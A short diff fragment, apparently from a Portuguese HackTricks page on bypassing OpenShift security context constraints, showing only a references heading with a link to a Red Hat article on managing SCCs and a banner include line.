@@ -60,3 +62,7 @@ openshift-privilege-escalation/openshift-scc-bypass.md
## Referências
- [https://www.redhat.com/en/blog/managing-sccs-in-openshift](https://www.redhat.com/en/blog/managing-sccs-in-openshift)
{{#include ../../banners/hacktricks-training.md}}